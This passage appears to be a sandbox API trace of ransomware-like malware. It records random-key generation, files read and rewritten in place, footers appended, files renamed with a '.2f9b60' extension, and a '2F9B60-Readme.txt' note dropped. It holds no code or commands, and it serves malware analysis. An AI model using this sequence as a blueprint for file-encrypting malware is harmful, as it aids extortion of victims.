Seed=0x3403fa90) returned 0x67b1ea85 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x400b9fcc [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x4aca08c0 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0xdc81b5b [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x3bfa7b5f [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x67c4fbff [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x3dfa9f06 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x77da1bf8 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x496c5f9e [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x1db52127 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x145a25f6 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x1eb6a052 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x721a1541 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x142c150d [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x27ddfe41 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x335d6c45 [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x5f79faac [0190.988] RtlRandomEx (in: Seed=0x3403fa90 | out: Seed=0x3403fa90) returned 0x2093f44d [0191.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139550 [0191.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420609b0 [0191.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139580 [0191.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420609b0) returned 1 [0191.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139520) returned 1 [0191.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcaa0) returned 1 [0191.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0191.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420609b0 [0191.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcaa0 [0191.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcaa0) returned 1 [0191.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f9d540 [0191.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42fb7ca0 [0191.011] ReadFile (in: hFile=0x9c0, lpBuffer=0x42f9d540, nNumberOfBytesToRead=0x49c, lpNumberOfBytesRead=0x3403fa90, lpOverlapped=0x0 | out: lpBuffer=0x42f9d540*, lpNumberOfBytesRead=0x3403fa90*=0x49c, lpOverlapped=0x0) returned 1 [0191.011] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.011] WriteFile (in: hFile=0x9c0, lpBuffer=0x42fb7ca0*, nNumberOfBytesToWrite=0x49c, lpNumberOfBytesWritten=0x3403fa94, lpOverlapped=0x0 | out: lpBuffer=0x42fb7ca0*, lpNumberOfBytesWritten=0x3403fa94*=0x49c, lpOverlapped=0x0) returned 1 [0199.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a70 [0199.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b00 [0199.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b00) returned 1 [0199.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fb7ca0) returned 1 [0199.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f9d540) returned 1 [0199.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420609b0) returned 1 [0199.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0199.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d80c0 [0199.563] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0199.563] WriteFile (in: hFile=0x9c0, lpBuffer=0x1ce13e50*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3403fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1ce13e50*, lpNumberOfBytesWritten=0x3403fbb0*=0x10e, lpOverlapped=0x0) returned 1 [0206.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0206.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7610 [0206.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7610) returned 1 [0206.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a7610 [0206.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7640 [0206.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7700 [0206.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7700) returned 1 [0206.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0206.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1b82c490 [0206.675] sprintf (in: _Dest=0x1b82c490, _Format="%c%c" | out: _Dest="b3") returned 2 [0206.675] sprintf (in: _Dest=0x1b82c492, _Format="%c%c" | out: _Dest="08") returned 2 [0206.675] sprintf (in: _Dest=0x1b82c494, _Format="%c%c" | out: _Dest="cd") returned 2 [0206.675] sprintf (in: _Dest=0x1b82c496, _Format="%c%c" | out: _Dest="76") returned 2 [0206.675] sprintf (in: _Dest=0x1b82c498, _Format="%c%c" | out: _Dest="32") returned 2 [0206.675] sprintf (in: _Dest=0x1b82c49a, _Format="%c%c" | out: _Dest="6d") returned 2 [0206.675] sprintf (in: _Dest=0x1b82c49c, _Format="%c%c" | out: _Dest="3a") returned 2 [0206.675] sprintf (in: _Dest=0x1b82c49e, _Format="%c%c" | out: _Dest="f8") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4a0, _Format="%c%c" | out: _Dest="cd") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4a2, _Format="%c%c" | out: _Dest="df") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4a4, _Format="%c%c" | out: _Dest="81") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4a6, _Format="%c%c" | out: _Dest="48") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4a8, _Format="%c%c" | out: _Dest="ac") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4aa, _Format="%c%c" | out: _Dest="36") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4ac, _Format="%c%c" | out: _Dest="92") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4ae, _Format="%c%c" | out: _Dest="fe") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4b0, _Format="%c%c" | out: _Dest="00") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4b2, _Format="%c%c" | out: _Dest="3c") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4b4, _Format="%c%c" | out: _Dest="e1") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4b6, _Format="%c%c" | out: _Dest="af") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4b8, _Format="%c%c" | out: _Dest="86") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4ba, _Format="%c%c" | out: _Dest="06") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4bc, _Format="%c%c" | out: _Dest="c8") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4be, _Format="%c%c" | out: _Dest="d0") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4c0, _Format="%c%c" | out: _Dest="4e") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4c2, _Format="%c%c" | out: _Dest="d7") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4c4, _Format="%c%c" | out: _Dest="2d") returned 2 [0206.676] sprintf (in: _Dest=0x1b82c4c6, _Format="%c%c" | out: _Dest="8c") returned 2 [0206.676] RtlInitAnsiString (in: DestinationString=0x3403fc28, SourceString="b308cd76326d3af8cddf8148ac3692fe003ce1af8606c8d04ed72d8c" | out: DestinationString="b308cd76326d3af8cddf8148ac3692fe003ce1af8606c8d04ed72d8c") [0206.676] RtlAnsiStringToUnicodeString (in: DestinationString=0x3403fbf8, SourceString="b308cd76326d3af8cddf8148ac3692fe003ce1af8606c8d04ed72d8c", AllocateDestinationString=1 | out: DestinationString="b308cd76326d3af8cddf8148ac3692fe003ce1af8606c8d04ed72d8c") returned 0x0 [0206.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cebb060 [0206.677] wcscat (in: _Dest=0x4314e720, _Source="b308cd76326d3a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\b308cd76326d3a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\b308cd76326d3a" [0206.677] wcscat (in: _Dest=0x4314e720, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\b308cd76326d3a.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\b308cd76326d3a.2f9b60" [0206.677] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\b308cd76326d3a.2f9b60", NtPathName=0x3403fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\b308cd76326d3a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310ae70 [0209.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310ae70) returned 1 [0209.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fb8c0) returned 1 [0209.123] NtQueryInformationFile (in: FileHandle=0x9c0, IoStatusBlock=0x3403fc38, FileInformation=0x3403fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3403fc38, FileInformation=0x3403fc48) returned 0x0 [0209.123] NtSetInformationFile (FileHandle=0x9c0, IoStatusBlock=0x3403fc38, FileInformation=0x3403fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314e720) returned 1 [0209.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb060) returned 1 [0209.628] FlushFileBuffers (hFile=0x9c0) returned 1 [0212.752] CloseHandle (hObject=0x9c0) returned 1 [0215.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431882a0 [0215.687] wcscpy (in: _Dest=0x431882a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\" [0215.687] wcscat (in: _Dest=0x431882a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\2F9B60-Readme.txt" [0215.687] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\2f9b60-readme.txt")) returned 0xffffffff [0215.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2de8 [0218.148] WriteFile (in: hFile=0x2de8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3403faf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3403faf0*=0xba9, lpOverlapped=0x0) returned 1 [0222.469] CloseHandle (hObject=0x2de8) returned 1 [0224.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431882a0) returned 1 [0224.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507eb0) returned 1 Thread: id = 2620 os_tid = 0x2140 [0156.663] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.access" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.access")) returned 0x20 [0156.665] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.access", dwFileAttributes=0x20) returned 1 [0156.666] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.access" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x638 [0156.667] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x3669f7c0 | out: lpFileSize=0x3669f7c0*=3998) returned 1 [0156.667] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0xf9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.667] ReadFile (in: hFile=0x638, lpBuffer=0x3669f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3669f788, lpOverlapped=0x0 | out: lpBuffer=0x3669f740*, lpNumberOfBytesRead=0x3669f788*=0x4, lpOverlapped=0x0) returned 1 [0160.500] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac21b0 [0160.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2180 [0160.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0bc0 [0160.501] NtQuerySystemTime (in: CurrentTime=0x3669f680 | out: CurrentTime=0x3669f680*=132462177656326000) returned 0x0 [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x4ef3c4ac [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x69a6a63b [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x363521f0 [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x48e8e1a9 [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x7f28f9e0 [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x572bdf95 [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x3d087151 [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x24f7e5b [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x5222599 [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x3eaf6f1a [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x77a04cb2 [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x35680809 [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x6c752545 [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x506fefd2 [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x6f623f7d [0160.501] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0xe276f06 [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x7e9f3a6 [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x3f9eeb8f [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x9df29e1 [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x6ae5aad9 [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x4cdfa589 [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x6955adc3 [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x364918f3 [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x22832a6a [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x73f5486d [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x6aad90a [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x47282487 [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x6345f14b [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x2f074cf3 [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x4e6b7c34 [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x17cee0ab [0160.502] RtlRandomEx (in: Seed=0x3669f670 | out: Seed=0x3669f670) returned 0x2ba1b0a4 [0160.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0c50 [0160.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0160.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0c80 [0160.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0160.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0bc0) returned 1 [0160.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac21b0) returned 1 [0160.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0160.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0160.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac21b0 [0160.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac21b0) returned 1 [0160.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e7d170 [0160.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e500b0 [0160.513] ReadFile (in: hFile=0x638, lpBuffer=0x41e7d170, nNumberOfBytesToRead=0xf9e, lpNumberOfBytesRead=0x3669f670, lpOverlapped=0x0 | out: lpBuffer=0x41e7d170*, lpNumberOfBytesRead=0x3669f670*=0xf9e, lpOverlapped=0x0) returned 1 [0160.513] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.513] WriteFile (in: hFile=0x638, lpBuffer=0x41e500b0*, nNumberOfBytesToWrite=0xf9e, lpNumberOfBytesWritten=0x3669f674, lpOverlapped=0x0 | out: lpBuffer=0x41e500b0*, lpNumberOfBytesWritten=0x3669f674*=0xf9e, lpOverlapped=0x0) returned 1 [0163.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261460 [0163.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263110 [0163.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263110) returned 1 [0163.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e500b0) returned 1 [0163.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e7d170) returned 1 [0163.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0163.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0163.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9ebf0 [0163.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0163.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0163.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263110 [0163.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263110) returned 1 [0163.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9ec30 [0163.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263110 [0163.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263200 [0163.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263200) returned 1 [0163.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0163.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0163.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x167ee0 [0163.072] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0163.072] WriteFile (in: hFile=0x638, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3669f790, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x3669f790*=0x112, lpOverlapped=0x0) returned 1 [0164.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053850 [0164.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053850) returned 1 [0164.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053850 [0164.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053820 [0164.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053760 [0164.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053760) returned 1 [0164.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x42059970 [0164.269] sprintf (in: _Dest=0x42059970, _Format="%c%c" | out: _Dest="89") returned 2 [0164.269] sprintf (in: _Dest=0x42059972, _Format="%c%c" | out: _Dest="a3") returned 2 [0164.269] sprintf (in: _Dest=0x42059974, _Format="%c%c" | out: _Dest="0b") returned 2 [0164.269] sprintf (in: _Dest=0x42059976, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.269] sprintf (in: _Dest=0x42059978, _Format="%c%c" | out: _Dest="0c") returned 2 [0164.269] sprintf (in: _Dest=0x4205997a, _Format="%c%c" | out: _Dest="7d") returned 2 [0164.269] sprintf (in: _Dest=0x4205997c, _Format="%c%c" | out: _Dest="b8") returned 2 [0164.269] sprintf (in: _Dest=0x4205997e, _Format="%c%c" | out: _Dest="90") returned 2 [0164.269] sprintf (in: _Dest=0x42059980, _Format="%c%c" | out: _Dest="10") returned 2 [0164.269] sprintf (in: _Dest=0x42059982, _Format="%c%c" | out: _Dest="34") returned 2 [0164.270] sprintf (in: _Dest=0x42059984, _Format="%c%c" | out: _Dest="0a") returned 2 [0164.270] sprintf (in: _Dest=0x42059986, _Format="%c%c" | out: _Dest="f4") returned 2 [0164.270] sprintf (in: _Dest=0x42059988, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.270] sprintf (in: _Dest=0x4205998a, _Format="%c%c" | out: _Dest="4d") returned 2 [0164.270] sprintf (in: _Dest=0x4205998c, _Format="%c%c" | out: _Dest="77") returned 2 [0164.270] sprintf (in: _Dest=0x4205998e, _Format="%c%c" | out: _Dest="db") returned 2 [0164.270] sprintf (in: _Dest=0x42059990, _Format="%c%c" | out: _Dest="a1") returned 2 [0164.270] sprintf (in: _Dest=0x42059992, _Format="%c%c" | out: _Dest="46") returned 2 [0164.270] sprintf (in: _Dest=0x42059994, _Format="%c%c" | out: _Dest="15") returned 2 [0164.270] sprintf (in: _Dest=0x42059996, _Format="%c%c" | out: _Dest="3a") returned 2 [0164.270] sprintf (in: _Dest=0x42059998, _Format="%c%c" | out: _Dest="46") returned 2 [0164.270] sprintf (in: _Dest=0x4205999a, _Format="%c%c" | out: _Dest="00") returned 2 [0164.270] sprintf (in: _Dest=0x4205999c, _Format="%c%c" | out: _Dest="c6") returned 2 [0164.270] sprintf (in: _Dest=0x4205999e, _Format="%c%c" | out: _Dest="c5") returned 2 [0164.270] sprintf (in: _Dest=0x420599a0, _Format="%c%c" | out: _Dest="1c") returned 2 [0164.270] sprintf (in: _Dest=0x420599a2, _Format="%c%c" | out: _Dest="69") returned 2 [0164.270] sprintf (in: _Dest=0x420599a4, _Format="%c%c" | out: _Dest="21") returned 2 [0164.270] sprintf (in: _Dest=0x420599a6, _Format="%c%c" | out: _Dest="fc") returned 2 [0164.270] sprintf (in: _Dest=0x420599a8, _Format="%c%c" | out: _Dest="49") returned 2 [0164.270] sprintf (in: _Dest=0x420599aa, _Format="%c%c" | out: _Dest="68") returned 2 [0164.270] sprintf (in: _Dest=0x420599ac, _Format="%c%c" | out: _Dest="a2") returned 2 [0164.271] sprintf (in: _Dest=0x420599ae, _Format="%c%c" | out: _Dest="47") returned 2 [0164.271] RtlInitAnsiString (in: DestinationString=0x3669f808, SourceString="89a30b9a0c7db89010340af46b4d77dba146153a4600c6c51c6921fc4968a247" | out: DestinationString="89a30b9a0c7db89010340af46b4d77dba146153a4600c6c51c6921fc4968a247") [0164.271] RtlAnsiStringToUnicodeString (in: DestinationString=0x3669f7d8, SourceString="89a30b9a0c7db89010340af46b4d77dba146153a4600c6c51c6921fc4968a247", AllocateDestinationString=1 | out: DestinationString="89a30b9a0c7db89010340af46b4d77dba146153a4600c6c51c6921fc4968a247") returned 0x0 [0164.271] RtlAllocateHeap (HeapHandle=0xa0000, 